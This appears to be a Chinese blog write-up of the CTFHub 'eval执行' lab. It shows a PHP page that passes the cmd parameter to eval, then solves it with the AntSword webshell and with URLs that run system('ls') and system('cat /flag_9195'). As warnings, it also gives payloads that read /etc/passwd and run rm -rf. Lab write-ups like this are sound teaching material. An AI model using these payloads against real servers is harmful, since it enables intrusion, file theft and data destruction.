当前位置: 首页 > news >正文

CTFHub | eval执行

 0x00 前言

        CTFHub 专注网络安全、信息安全、白帽子技术的在线学习,实训平台。提供优质的赛事及学习服务,拥有完善的题目环境及配套 writeup ,降低 CTF 学习入门门槛,快速帮助选手成长,跟随主流比赛潮流。

        

        

0x01 题目描述

eval执行:

        (无)        

网页显示内容

        

        

0x02 解题过程

0x1 方法一: 使用蚁剑连接 

检查网页显示内容可以发现题目中直接给出了一段源代码,代码的大致意思是判断用户是否传了一个 cmd 参数,否则执行 else 。

<?php
if (isset($_REQUEST['cmd'])) {eval($_REQUEST["cmd"]);
} else {highlight_file(__FILE__);
}
?>

        

使用蚁剑连接 cmd 参数试试,测试连接发现可以成功连接,说明此题存在 eval 执行

        

检查目录列表发现关于 flag 的文件

        

检查文件内容发现此题 flag

        

0x2 方法二: 网页检查文件 

根据网页代码的提示,可以先把查看网页根目录文件的命令赋值给 cmd 然后执行

http://challenge-b7776ccd779fe163.sandbox.ctfhub.com:10800/?cmd=system("ls");

        

继续检查上一级文件夹,这里发现一个flag_9195的文件

http://challenge-b7776ccd779fe163.sandbox.ctfhub.com:10800/?cmd=system("ls /");

        

继续传参给cmd命令检查flag_9195的文件,发现此题flag

http://challenge-b7776ccd779fe163.sandbox.ctfhub.com:10800/?cmd=system("cat /flag_9195");

        

        

0x03 eval执行

        eval 函数可以将字符串作为代码执行,那么在使用 eval 函数作为获取用户输入的时候应该避免使用这类函数。如果用户输入的是一段恶意代码,就会导致严重的安全问题。

        

例如:

1.访问服务器敏感信息

?cmd=system('cat /etc/passwd')

2.删除网页文件

?cmd=system("rm -rf /xx/xx");

         

        

0x04 参考文献

[1].Ho1aAs. CTFHub_技能树_Web之RCE——“eval执行”、“命令注入”[EB/OL]. [2023-04-19]. https://blog.csdn.net/Xxy605/article/details/107548841.

        

        

0x05 总结

文章内容为学习记录的笔记,由于作者水平有限,文中若有错误与不足欢迎留言,便于及时更正。

http://www.lryc.cn/news/60926.html

相关文章:

  • IP协议头
  • 【xxl-job定时任务框架详解】
  • 7、在vscode上利用cmake构建多文件C++工程
  • Linux操作系统网络模块
  • 不同批次板子采集到的传感器压力值不同
  • 设计模式--原型模式
  • C++智能指针shared_ptr详解
  • 家政服务APP小程序开发功能详解
  • 【C++】deque的实现原理简单介绍
  • UWB隧道人员定位技术应用,施工作业安全精准保障
  • 15.2 矩阵链乘法
  • 向隐形冠军学习:聚焦人效,用时间管理提效益
  • Protocol Buffers Go Generated Code Guide
  • Python VTK STL 映射三维模型表面距离
  • C# 异常处理机制和常见的异常类型
  • 【0187】客户端身份验证配置文件视图之pg_hba_file_rules
  • 模糊层次分析法(FAHP)Python实现
  • gdb切换窗口焦点
  • 【Spring Security】 入门实战
  • SpringBoot的Interceptor拦截器的简介和实际使用
  • 5个面向Python高级开发者的技巧
  • Nginx简介
  • 十五分钟带你学会 Electron
  • 设计模式-结构型模式之桥接模式
  • 软件测试工程师为什么要写测试用例?
  • 【DAY40】VUE练习
  • 实模式的寄存器
  • 【UE 控件蓝图】通过键盘选中要点击的按钮 通过Enter键点击
  • SSR在天猫优品大促会场的探索实践
  • WPF教程(一)---创建一个WPF程序基础知识